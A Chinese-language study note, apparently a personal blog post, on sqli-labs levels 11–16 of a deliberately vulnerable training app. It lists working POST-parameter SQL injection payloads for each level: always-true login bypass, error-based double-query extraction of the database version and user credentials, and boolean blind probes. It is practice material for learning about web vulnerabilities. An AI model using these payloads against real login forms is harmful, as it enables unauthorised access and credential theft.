学习sqli-labs的笔记,前面的笔记内容比较详细。后面的只记录关键点了。

Less11: POST注入, 有回显,有错误提示

从11题起是POST注入,发现有两个输入框。用firefox的F12查看提交参数为

uname=&passwd=&submit=Submit

再uname上做测试

uname='&passwd=1&submit=Submit

报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and password='' LIMIT 0,1' at line 1

说明语句格式为 where a='abc' 这样的格式

最终通过永真语句绕过登陆:

uname=' or 1=1 limit 1,1-- a&passwd=&submit=Submit

Less12:

与11题几乎一样,就是闭合方式变成了("xxx")

uname=") or 1=1 limit 1,1 -- a&passwd=&submit=Submit

Less13: POST注入,无回显,有报错

用Less5的双注入,注意闭合即可

uname=') union (select count(*), concat(@@version,floor(rand(0)*2)) a from information_schema.tables group by a) -- a&passwd=&submit=Submit

获取用户名密码

uname=') union (select count(*), concat((select concat(username,'/',password) from users limit 0,1),floor(rand(0)*2)) a from information_schema.tables group by a) -- a&passwd=&submit=Submit

Less14:

与13题几乎一样,只是闭合方式变成了"a"

uname=" union (select count(*), concat((select concat(username,'/',password) from users limit 0,1),floor(rand(0)*2)) a from information_schema.tables group by a) -- a&passwd=&submit=Submit

Less15:POST注入,布尔盲注

在登陆成功和登陆失败时显示结果不同,根据这一点可以不断盲注测试。类似如下语句,需要一个字符一个字符的试。

uname=' or length(@@version)>10 -- a&passwd=&submit=Submit
uname=' or ascii(substr(@@version,1,1))>64 -- a&passwd=&submit=Submit

具体的我实在懒得试了。

Less16:

根15题一样,就是闭合方式变了变(PS:名字叫做时间盲注,但感觉完全用不到啊)

uname=") or ascii(substr(@@version,1,1))>0 -- a&passwd=&submit=Submit
05-11 18:21